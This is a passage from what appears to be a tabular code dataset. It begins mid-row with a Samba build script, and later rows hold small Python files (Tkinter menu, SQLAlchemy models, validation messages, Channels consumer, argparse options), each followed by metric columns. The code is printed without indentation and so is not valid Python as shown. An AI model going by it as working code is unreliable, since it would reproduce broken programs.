INSTALL_DIR="samba-bin"
pkg_path = ""
output_dir = ""
tarball_pkg = ""
tarball_dir = ""
install_dir = ""
install_tmp_dir = ""
cc_host = ""
tmp_include_dir = ""
dst_include_dir = ""
dst_lib_dir = ""
dst_usr_local_lib_dir = ""
def set_global(args):
global pkg_path
global output_dir
global tarball_pkg
global install_dir
global install_tmp_dir
global tarball_dir
global cc_host
global tmp_include_dir
global dst_include_dir
global dst_lib_dir
global dst_usr_local_lib_dir
global dst_usr_local_libexec_dir
global dst_usr_local_share_dir
global dst_usr_local_dir
global src_pkgconfig_dir
global dst_pkgconfig_dir
global dst_bin_dir
global dst_etc_dir
global install_test_utils
pkg_path = args["pkg_path"]
output_dir = args["output_path"]
tarball_pkg = ops.path_join(pkg_path, TARBALL_FILE)
install_dir = ops.path_join(output_dir, INSTALL_DIR)
install_tmp_dir = ops.path_join(output_dir, INSTALL_DIR + "-tmp")
tarball_dir = ops.path_join(output_dir, TARBALL_DIR)
cc_host_str = ops.getEnv("CROSS_COMPILE")
cc_host = cc_host_str[:len(cc_host_str) - 1]
tmp_include_dir = ops.path_join(output_dir, ops.path_join("include",args["pkg_name"]))
dst_include_dir = ops.path_join("include",args["pkg_name"])
dst_lib_dir = ops.path_join(install_dir, "lib")
dst_bin_dir = ops.path_join(install_dir, "bin")
dst_etc_dir = ops.path_join(install_dir, "etc")
dst_usr_local_lib_dir = ops.path_join(install_dir, "usr/local/lib")
dst_usr_local_dir = ops.path_join(install_dir, "usr/local")
dst_usr_local_libexec_dir = ops.path_join(install_dir, "usr/local/libexec")
dst_usr_local_share_dir = ops.path_join(install_dir, "usr/local/share")
src_pkgconfig_dir = ops.path_join(pkg_path, "pkgconfig")
dst_pkgconfig_dir = ops.path_join(install_dir, "pkgconfig")
if ops.getEnv("INSTALL_TEST_UTILS") == 'y':
install_test_utils = True
else:
install_test_utils = False
def MAIN_ENV(args):
set_global(args)
ops.exportEnv(ops.setEnv("CC", ops.getEnv("CROSS_COMPILE") + "gcc"))
'''
ops.exportEnv(ops.setEnv("CXX", ops.getEnv("CROSS_COMPILE") + "g++"))
ops.exportEnv(ops.setEnv("CPP", ops.getEnv("CROSS_COMPILE") + "g++"))
ops.exportEnv(ops.setEnv("AR", ops.getEnv("CROSS_COMPILE") + "ar"))
ops.exportEnv(ops.setEnv("RANLIB", ops.getEnv("CROSS_COMPILE") + "ranlib"))
ops.exportEnv(ops.setEnv("CROSS", ops.getEnv("CROSS_COMPILE")))
'''
ops.exportEnv(ops.setEnv("DESTDIR", install_tmp_dir))
return False
def MAIN_EXTRACT(args):
set_global(args)
ops.unTarGz(tarball_pkg, output_dir)
return True
def MAIN_PATCH(args, patch_group_name):
set_global(args)
for patch in iopc.get_patch_list(pkg_path, patch_group_name):
if iopc.apply_patch(tarball_dir, patch):
continue
else:
sys.exit(1)
return True
def MAIN_CONFIGURE(args):
set_global(args)
job_count = ops.getEnv("BUILD_JOBS_COUNT")
extra_conf = []
'''
#extra_conf.append("--cross-compile")
#extra_conf.append("-C -V")
#extra_conf.append("--cross-answers=cc.txt")
#extra_conf.append("--hostcc=" + cc_host)
extra_conf.append("--abi-check-disable")
extra_conf.append("--disable-rpath")
extra_conf.append("--bundled-libraries=NONE")
#extra_conf.append("--cross-execute='qemu-arm-static -L /usr/arm-linux-gnu'")
extra_conf.append("--jobs=" + job_count)
extra_conf.append("--disable-gnutls")
#extra_conf.append("--private-libraries=NONE")
extra_conf.append("--without-gettext")
extra_conf.append("--without-systemd")
extra_conf.append("--without-ad-dc")
extra_conf.append("--without-ads")
extra_conf.append("--without-winbind")
extra_conf.append("--without-ldap")
extra_conf.append("--without-pam")
extra_conf.append("--without-pie")
extra_conf.append("--without-fam")
extra_conf.append("--without-dmapi")
extra_conf.append("--without-automount")
extra_conf.append("--without-utmp")
extra_conf.append("--without-dnsupdate")
extra_conf.append("--without-acl-support")
extra_conf.append("--without-quotas")
extra_conf.append("--without-cluster-support")
extra_conf.append("--disable-glusterfs")
extra_conf.append("--without-profiling-data")
extra_conf.append("--without-libarchive")
extra_conf.append("--without-regedit")
extra_conf.append("--without-ntvfs-fileserver")
extra_conf.append("--disable-python")
extra_conf.append("--disable-cups")
extra_conf.append("--disable-iprint")
extra_conf.append("--disable-avahi")
'''
extra_conf.append("--disable-python")
extra_conf.append("--without-ad-dc")
extra_conf.append("--without-acl-support")
extra_conf.append("--without-ldap")
extra_conf.append("--without-ads")
extra_conf.append("--without-pam")
extra_conf.append("--without-gettext")
extra_conf.append("--jobs=" + job_count)
extra_conf.append("--without-systemd")
extra_conf.append("--without-regedit")
extra_conf.append("--without-cluster-support")
extra_conf.append("--without-ntvfs-fileserver")
extra_conf.append("--without-winbind")
extra_conf.append("--disable-glusterfs")
extra_conf.append("--disable-cups")
extra_conf.append("--disable-iprint")
extra_conf.append("--disable-avahi")
extra_conf.append("--without-automount")
extra_conf.append("--without-dnsupdate")
extra_conf.append("--without-fam")
extra_conf.append("--without-dmapi")
extra_conf.append("--without-quotas")
extra_conf.append("--without-profiling-data")
extra_conf.append("--without-utmp")
extra_conf.append("--without-libarchive")
#extra_conf.append("--enable-developer")
print extra_conf
#iopc.waf(tarball_dir, extra_conf)
iopc.configure(tarball_dir, extra_conf)
return True
def MAIN_BUILD(args):
set_global(args)
ops.mkdir(install_dir)
ops.mkdir(install_tmp_dir)
iopc.make(tarball_dir)
iopc.make_install(tarball_dir)
ops.mkdir(install_dir)
ops.mkdir(dst_lib_dir)
ops.mkdir(dst_bin_dir)
ops.mkdir(dst_usr_local_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/sbin/nmbd"), dst_bin_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/sbin/smbd"), dst_bin_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libdcerpc-binding.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libdcerpc-binding.so.0.0.1", "libdcerpc-binding.so.0.0")
ops.ln(dst_lib_dir, "libdcerpc-binding.so.0.0.1", "libdcerpc-binding.so.0")
ops.ln(dst_lib_dir, "libdcerpc-binding.so.0.0.1", "libdcerpc-binding.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libdcerpc-samr.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libdcerpc-samr.so.0.0.1", "libdcerpc-samr.so.0.0")
ops.ln(dst_lib_dir, "libdcerpc-samr.so.0.0.1", "libdcerpc-samr.so.0")
ops.ln(dst_lib_dir, "libdcerpc-samr.so.0.0.1", "libdcerpc-samr.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libdcerpc.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libdcerpc.so.0.0.1", "libdcerpc.so.0.0")
ops.ln(dst_lib_dir, "libdcerpc.so.0.0.1", "libdcerpc.so.0")
ops.ln(dst_lib_dir, "libdcerpc.so.0.0.1", "libdcerpc.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr-krb5pac.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libndr-krb5pac.so.0.0.1", "libndr-krb5pac.so.0.0")
ops.ln(dst_lib_dir, "libndr-krb5pac.so.0.0.1", "libndr-krb5pac.so.0")
ops.ln(dst_lib_dir, "libndr-krb5pac.so.0.0.1", "libndr-krb5pac.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr-nbt.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libndr-nbt.so.0.0.1", "libndr-nbt.so.0.0")
ops.ln(dst_lib_dir, "libndr-nbt.so.0.0.1", "libndr-nbt.so.0")
ops.ln(dst_lib_dir, "libndr-nbt.so.0.0.1", "libndr-nbt.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr.so.0.1.0"), dst_lib_dir)
ops.ln(dst_lib_dir, "libndr.so.0.1.0", "libndr.so.0.1")
ops.ln(dst_lib_dir, "libndr.so.0.1.0", "libndr.so.0")
ops.ln(dst_lib_dir, "libndr.so.0.1.0", "libndr.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libndr-standard.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libndr-standard.so.0.0.1", "libndr-standard.so.0.0")
ops.ln(dst_lib_dir, "libndr-standard.so.0.0.1", "libndr-standard.so.0")
ops.ln(dst_lib_dir, "libndr-standard.so.0.0.1", "libndr-standard.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libnetapi.so.0"), dst_lib_dir)
ops.ln(dst_lib_dir, "libnetapi.so.0", "libnetapi.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libnss_winbind.so.2"), dst_lib_dir)
ops.ln(dst_lib_dir, "libnss_winbind.so.2", "libnss_winbind.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libnss_wins.so.2"), dst_lib_dir)
ops.ln(dst_lib_dir, "libnss_wins.so.2", "libnss_wins.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-credentials.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsamba-credentials.so.0.0.1", "libsamba-credentials.so.0.0")
ops.ln(dst_lib_dir, "libsamba-credentials.so.0.0.1", "libsamba-credentials.so.0")
ops.ln(dst_lib_dir, "libsamba-credentials.so.0.0.1", "libsamba-credentials.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-errors.so.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsamba-errors.so.1", "libsamba-errors.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-hostconfig.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsamba-hostconfig.so.0.0.1", "libsamba-hostconfig.so.0.0")
ops.ln(dst_lib_dir, "libsamba-hostconfig.so.0.0.1", "libsamba-hostconfig.so.0")
ops.ln(dst_lib_dir, "libsamba-hostconfig.so.0.0.1", "libsamba-hostconfig.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-passdb.so.0.27.0"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsamba-passdb.so.0.27.0", "libsamba-passdb.so.0.27")
ops.ln(dst_lib_dir, "libsamba-passdb.so.0.27.0", "libsamba-passdb.so.0")
ops.ln(dst_lib_dir, "libsamba-passdb.so.0.27.0", "libsamba-passdb.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamba-util.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsamba-util.so.0.0.1", "libsamba-util.so.0.0")
ops.ln(dst_lib_dir, "libsamba-util.so.0.0.1", "libsamba-util.so.0")
ops.ln(dst_lib_dir, "libsamba-util.so.0.0.1", "libsamba-util.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsamdb.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsamdb.so.0.0.1", "libsamdb.so.0.0")
ops.ln(dst_lib_dir, "libsamdb.so.0.0.1", "libsamdb.so.0")
ops.ln(dst_lib_dir, "libsamdb.so.0.0.1", "libsamdb.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsmbclient.so.0.3.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsmbclient.so.0.3.1", "libsmbclient.so.0.3")
ops.ln(dst_lib_dir, "libsmbclient.so.0.3.1", "libsmbclient.so.0")
ops.ln(dst_lib_dir, "libsmbclient.so.0.3.1", "libsmbclient.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libsmbconf.so.0"), dst_lib_dir)
ops.ln(dst_lib_dir, "libsmbconf.so.0", "libsmbconf.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libtevent-util.so.0.0.1"), dst_lib_dir)
ops.ln(dst_lib_dir, "libtevent-util.so.0.0.1", "libtevent-util.so.0.0")
ops.ln(dst_lib_dir, "libtevent-util.so.0.0.1", "libtevent-util.so.0")
ops.ln(dst_lib_dir, "libtevent-util.so.0.0.1", "libtevent-util.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/libwbclient.so.0.14"), dst_lib_dir)
ops.ln(dst_lib_dir, "libwbclient.so.0.14", "libwbclient.so.0")
ops.ln(dst_lib_dir, "libwbclient.so.0.14", "libwbclient.so")
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/winbind_krb5_locator.so"), dst_lib_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/private/."), dst_lib_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/auth"), dst_lib_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/idmap"), dst_lib_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/ldb"), dst_lib_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/nss_info"), dst_lib_dir)
ops.copyto(ops.path_join(install_tmp_dir, "usr/local/samba/lib/vfs"), dst_lib_dir)
ops.ln(dst_usr_local_dir, "/tmp/samba", "samba")
return True
def MAIN_INSTALL(args):
set_global(args)
iopc.installBin(args["pkg_name"], ops.path_join(dst_lib_dir, "."), "lib")
iopc.installBin(args["pkg_name"], ops.path_join(dst_bin_dir, "."), "usr/sbin")
iopc.installBin(args["pkg_name"], ops.path_join(dst_usr_local_dir, "."), "usr/local")
#iopc.installBin(args["pkg_name"], ops.path_join(tmp_include_dir, "."), dst_include_dir)
#iopc.installBin(args["pkg_name"], ops.path_join(dst_pkgconfig_dir, '.'), "pkgconfig")
return False
def MAIN_SDKENV(args):
set_global(args)
return False
def MAIN_CLEAN_BUILD(args):
set_global(args)
return False
def MAIN(args):
set_global(args)
| 42.533123 | 112 | 0.705555 | 2,219 | 13,483 | 4.038306 | 0.081118 | 0.0308 | 0.081353 | 0.06015 | 0.77045 | 0.73195 | 0.688651 | 0.685191 | 0.632296 | 0.515902 | 0 | 0.021174 | 0.120819 | 13,483 | 316 | 113 | 42.667722 | 0.734773 | 0.018097 | 0 | 0.099057 | 0 | 0 | 0.331317 | 0.19484 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.018868 | 0.009434 | null | null | 0.009434 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4680d6848613dfb9b8af98b8d4dd6e1f33bd4389 | 1,008 | py | Python | Interfas Grafica XI (GUI)/InterfasGraficaXI.py | BrianMarquez3/Python-Course | 2622b4ddfd687505becfd246e82a2ed0cb9b76f3 | [
"MIT"
] | 20 | 2020-08-19T23:27:01.000Z | 2022-02-03T12:02:17.000Z | Interfas Grafica XI (GUI)/InterfasGraficaXI.py | BrianMarquez3/Python-Course | 2622b4ddfd687505becfd246e82a2ed0cb9b76f3 | [
"MIT"
] | 1 | 2021-04-10T18:06:05.000Z | 2021-04-10T18:06:05.000Z | Interfas Grafica XI (GUI)/InterfasGraficaXI.py | BrianMarquez3/Python-Course | 2622b4ddfd687505becfd246e82a2ed0cb9b76f3 | [
"MIT"
] | 2 | 2020-12-03T19:35:36.000Z | 2021-11-10T14:58:39.000Z | # Interfas Grafica XI
# Menu
from tkinter import *
root=Tk()
barraMenu=Menu(root)
root.config(menu=barraMenu, width=600, height=400)
archivoMenu=Menu(barraMenu, tearoff=0)
archivoMenu.add_command(label="Nuevo")
archivoMenu.add_command(label="Guardar")
archivoMenu.add_command(label="Guardar Como")
archivoMenu.add_separator()
archivoMenu.add_command(label="Cerrar")
archivoMenu.add_command(label="Salir")
archivoEdicion=Menu(barraMenu, tearoff=0)
archivoHerramientas=Menu(barraMenu)
archivoEdicion.add_command(label="Copiar")
archivoEdicion.add_command(label="Cortar")
archivoEdicion.add_command(label="Pegar")
archivoAyuda=Menu(barraMenu, tearoff=0)
barraMenu.add_cascade(label="Archivo", menu=archivoMenu)
barraMenu.add_cascade(label="Edicion", menu=archivoEdicion)
barraMenu.add_cascade(label="Herramienta", menu=archivoHerramientas)
barraMenu.add_cascade(label="Ayuda", menu=archivoAyuda)
archivoAyuda.add_command(label="Licencia")
archivoAyuda.add_command(label="Acerca de...")
root.mainloop() | 28 | 68 | 0.8125 | 123 | 1,008 | 6.536585 | 0.341463 | 0.124378 | 0.186567 | 0.161692 | 0.08209 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009424 | 0.052579 | 1,008 | 36 | 69 | 28 | 0.832461 | 0.02381 | 0 | 0 | 0 | 0 | 0.10387 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.041667 | 0 | 0.041667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46917396382ee9f0addf54bb780182338681e694 | 1,757 | py | Python | tmpmodels.py | firaan1/iamgrateful | 445260313ab94dfdaf310a6766e848c8df94b624 | [
"MIT"
] | null | null | null | tmpmodels.py | firaan1/iamgrateful | 445260313ab94dfdaf310a6766e848c8df94b624 | [
"MIT"
] | null | null | null | tmpmodels.py | firaan1/iamgrateful | 445260313ab94dfdaf310a6766e848c8df94b624 | [
"MIT"
] | null | null | null | from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import create_engine
from sqlalchemy import Column, Integer, String, Text, ForeignKey, DateTime, func, Boolean
from sqlalchemy.orm import relation, sessionmaker, relationship, backref
from datetime import datetime
import os
# Database
DATABASE = 'sqlite:///db.sqlite3'
DEBUG = True
# ORM
Base = declarative_base()
# model
class User(Base):
__tablename__ = 'user'
id = Column(Integer, primary_key=True, autoincrement=True)
passcode = Column(Integer, nullable=False)
question = Column(String)
answer = Column(String)
def __init__(self, passcode):
self.passcode = passcode
def __repr__(self):
return '<User %s>' % {self.id}
class Memory(Base):
__tablename__ = 'memory'
id = Column(Integer, primary_key=True, autoincrement=True)
happiness = Column(Integer)
date = Column(DateTime, default = datetime.now())
things = relationship('Thing', secondary = 'memory_thing_link')
def __repr__(self):
return '<Memory %s>' % {self.date}
class Thing(Base):
__tablename__ = 'thing'
id = Column(Integer, primary_key=True, autoincrement=True)
text = Column(Text)
def __repr__(self):
return '<Item %s>' % {self.text}
class MemoryThingLink(Base):
__tablename__ = 'memory_thing_link'
memory_id = Column(Integer, ForeignKey('memory.id'), primary_key=True)
thing_id = Column(Integer, ForeignKey('thing.id'), primary_key=True)
# if __name__ == '__main__':
# connection
engine = create_engine(DATABASE, echo = DEBUG)
session_factory = sessionmaker(bind = engine)
session = session_factory()
# initialize database
if not os.path.exists('db.sqlite3'):
Base.metadata.create_all(engine)
| 30.824561 | 89 | 0.712009 | 208 | 1,757 | 5.735577 | 0.346154 | 0.087175 | 0.062867 | 0.055323 | 0.115675 | 0.115675 | 0.115675 | 0.115675 | 0 | 0 | 0 | 0.001376 | 0.172453 | 1,757 | 57 | 90 | 30.824561 | 0.81912 | 0.043256 | 0 | 0.142857 | 0 | 0 | 0.077612 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0.071429 | 0.142857 | 0.071429 | 0.785714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
46a39565f7364f7f1fb4b269da3328cdcc2b0021 | 97 | py | Python | jarvis/__init__.py | jduncan8142/JARVIS | 387003bc00cea2ca74d7094a92e55eab593a968a | [
"MIT"
] | null | null | null | jarvis/__init__.py | jduncan8142/JARVIS | 387003bc00cea2ca74d7094a92e55eab593a968a | [
"MIT"
] | null | null | null | jarvis/__init__.py | jduncan8142/JARVIS | 387003bc00cea2ca74d7094a92e55eab593a968a | [
"MIT"
] | null | null | null | __version__ = "0.0.3"
__author__ = "Jason Duncan"
__support__ = "jason.matthew.duncan@gmail.com"
| 24.25 | 46 | 0.742268 | 13 | 97 | 4.615385 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.034483 | 0.103093 | 97 | 3 | 47 | 32.333333 | 0.655172 | 0 | 0 | 0 | 0 | 0 | 0.484536 | 0.309278 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46ad743d904b177a6882bac14c8a5ed867753ee6 | 2,436 | py | Python | app/validation/translator.py | codingedward/book-a-meal-api | 36756abc225bf7e8306330f2c3e223dc32af7869 | [
"MIT"
] | null | null | null | app/validation/translator.py | codingedward/book-a-meal-api | 36756abc225bf7e8306330f2c3e223dc32af7869 | [
"MIT"
] | null | null | null | app/validation/translator.py | codingedward/book-a-meal-api | 36756abc225bf7e8306330f2c3e223dc32af7869 | [
"MIT"
] | 2 | 2018-10-01T17:45:19.000Z | 2020-12-07T13:48:25.000Z | """Translates validation error messages for the response"""
messages = {
'accepted': 'The :field: must be accepted.',
'after': 'The :field: must be a date after :other:.',
'alpha': 'The :field: may contain only letters.',
'alpha_dash': 'The :field: may only contain letters, numbers, and dashes.',
'alpha_num': 'The :field: may contain only letters and numbers.',
'array': 'The :field: must be an array.',
'before': 'The :field: must be a date before :other:.',
'between': 'The :field: must be between :least: and :most:.',
'between_string': 'The :field: must be between :least: and :most: characters.',
'between_numeric': 'The :field: must be between :least: and :most:.',
'boolean': 'The :field: must be either true or false.',
'confirmed': 'The :field: confirmation does not match.',
'date': 'The :field: is not a valid date.',
'different': 'The :field: and :other: must be different.',
'digits': 'The :field: must be :length: digits.',
'email': 'The :field: must be a valid email address.',
'exists': 'The selected :field: is invalid.',
'found_in': 'The selected :field: is invalid.',
'integer': 'The :field: must be an integer.',
'json': 'The :field: must be valid json format.',
'most_string': 'The :field: must not be greater than :most: characters.',
'most_numeric': 'The :field: must not be greater than :most:.',
'least_string': 'The :field: must be at least :least: characters.',
'least_numeric': 'The :field: must be at least :least:.',
'not_in': 'The selected :field: is invalid.',
'numeric': 'The :field: must be a number.',
'positive': 'The :field: must be a positive number.',
'regex': 'The :field: format is invalid.',
'required': 'The :field: field is required.',
'required_with': 'The :field: field is required when :other: is present.',
'required_without': 'The :field: field is required when :other: si not present.',
'same': 'The :field: and :other: must match.',
'size_string': 'The :field: must be :size: characters.',
'size_numeric': 'The :field: must be :size:.',
'string': 'The :field: must be a string.',
'unique': 'The :field: is already taken.',
'url': 'The :field: format is invalid.',
}
def trans(rule, fields):
message = messages[rule]
for k, v in fields.items():
message = message.replace(k, v).replace('_', ' ')
return message
| 47.764706 | 85 | 0.630542 | 332 | 2,436 | 4.581325 | 0.262048 | 0.17883 | 0.16568 | 0.174885 | 0.491124 | 0.313609 | 0.183432 | 0.107166 | 0 | 0 | 0 | 0 | 0.202381 | 2,436 | 50 | 86 | 48.72 | 0.78281 | 0.021757 | 0 | 0 | 0 | 0 | 0.736532 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.022727 | false | 0 | 0 | 0 | 0.045455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46af16319f2d029f582d103a8745545d6de7422c | 333 | py | Python | chat/main/consumers.py | mlambir/channels_talk_pyconar2016 | 82e54eb914fb005fcdebad1ed07cede898957733 | [
"MIT"
] | 12 | 2016-11-30T15:22:22.000Z | 2018-02-27T23:03:12.000Z | chat/main/consumers.py | mlambir/channels_talk_pyconar2016 | 82e54eb914fb005fcdebad1ed07cede898957733 | [
"MIT"
] | null | null | null | chat/main/consumers.py | mlambir/channels_talk_pyconar2016 | 82e54eb914fb005fcdebad1ed07cede898957733 | [
"MIT"
] | null | null | null | from channels import Group
# websocket.connect
def ws_add(message):
Group("chat").add(message.reply_channel)
# websocket.receive
def ws_message(message):
Group("chat").send({
"text": message.content['text'],
})
# websocket.disconnect
def ws_disconnect(message):
Group("chat").discard(message.reply_channel) | 22.2 | 48 | 0.708709 | 41 | 333 | 5.634146 | 0.463415 | 0.064935 | 0.207792 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144144 | 333 | 15 | 48 | 22.2 | 0.810526 | 0.168168 | 0 | 0 | 0 | 0 | 0.072993 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.111111 | 0 | 0.444444 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
46b430ceffc244986e1b0a3ab9f0c59e0b7629b0 | 5,533 | py | Python | helpers/parser.py | yasahi-hpc/AMRNet | 5858d464bdfe409a5ab50889104768dda3c70508 | [
"MIT"
] | null | null | null | helpers/parser.py | yasahi-hpc/AMRNet | 5858d464bdfe409a5ab50889104768dda3c70508 | [
"MIT"
] | null | null | null | helpers/parser.py | yasahi-hpc/AMRNet | 5858d464bdfe409a5ab50889104768dda3c70508 | [
"MIT"
] | null | null | null | import argparse
def parse():
parser = argparse.ArgumentParser(add_help=True)
parser.add_argument('-data_dir', \
action='store', \
nargs='?', \
const=None, \
default='./dataset', \
type=str, \
choices=None, \
help='directory of datasets', \
metavar=None)
parser.add_argument('--device', \
action='store', \
nargs='?', \
const=None, \
default='cuda', \
type=str, \
choices=None, \
help='Device to run the model', \
metavar=None)
parser.add_argument('--dim', \
action='store', \
nargs='?', \
const=None, \
default=2, \
type=int, \
choices=None, \
help='Dimension of the model', \
metavar=None)
parser.add_argument('--batch_size', \
action='store', \
nargs='?', \
const=None, \
default=25, \
type=int, \
choices=None, \
help='Batch size', \
metavar=None)
parser.add_argument('--n_epochs', \
action='store', \
nargs='?', \
const=None, \
default=3, \
type=int, \
choices=None, \
help='Number of epochs', \
metavar=None)
parser.add_argument('--run_number', \
action='store', \
nargs='?', \
const=None, \
default=0, \
type=int, \
choices=None, \
help='Run number', \
metavar=None)
parser.add_argument('--padding_mode', \
action='store', \
nargs='?', \
const=None, \
default='reflect', \
type=str, \
choices=None, \
help='Padding type (default: reflect)', \
metavar=None)
parser.add_argument('--preprocess_type', \
action='store', \
nargs='?', \
const=None, \
default='normalization', \
type=str, \
choices=None, \
help='Preprocess type (default: normalization)', \
metavar=None)
parser.add_argument('--model_name', \
action='store', \
nargs='?', \
const=None, \
default='AMR_Net', \
type=str, \
choices=None, \
help='Name of the model (default: AMR_Net)', \
metavar=None)
parser.add_argument('--lr', \
action='store', \
nargs='?', \
const=None, \
default=0.0002, \
type=float, \
choices=None, \
help='Learning rate', \
metavar=None)
parser.add_argument('--beta_1', \
action='store', \
nargs='?', \
const=None, \
default=0.9, \
type=float, \
choices=None, \
help='beta_1 for Adam', \
metavar=None)
parser.add_argument('--beta_2', \
action='store', \
nargs='?', \
const=None, \
default=0.999, \
type=float, \
choices=None, \
help='beta_2 for Adam', \
metavar=None)
# Used for inference
parser.add_argument('--inference_mode', \
action='store_true', \
default=False, \
help='train or inference')
parser.add_argument('-state_file_dir', \
action='store', \
nargs='?', \
const=None, \
default='./', \
type=str, \
choices=None, \
help='directory storing torch state files', \
metavar=None)
parser.add_argument('--load_nth_state_file', \
action='store', \
nargs='?', \
const=None, \
default=0, \
type=int, \
choices=None, \
help='nth state file to load', \
metavar=None)
args = parser.parse_args()
return args
| 39.521429 | 74 | 0.325863 | 356 | 5,533 | 4.960674 | 0.216292 | 0.076444 | 0.144394 | 0.166478 | 0.656285 | 0.428652 | 0.198754 | 0.062288 | 0.062288 | 0.062288 | 0 | 0.008772 | 0.567323 | 5,533 | 139 | 75 | 39.805755 | 0.728906 | 0.003253 | 0 | 0.637037 | 0 | 0 | 0.115001 | 0.003809 | 0 | 0 | 0 | 0 | 0 | 1 | 0.007407 | false | 0 | 0.007407 | 0 | 0.022222 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.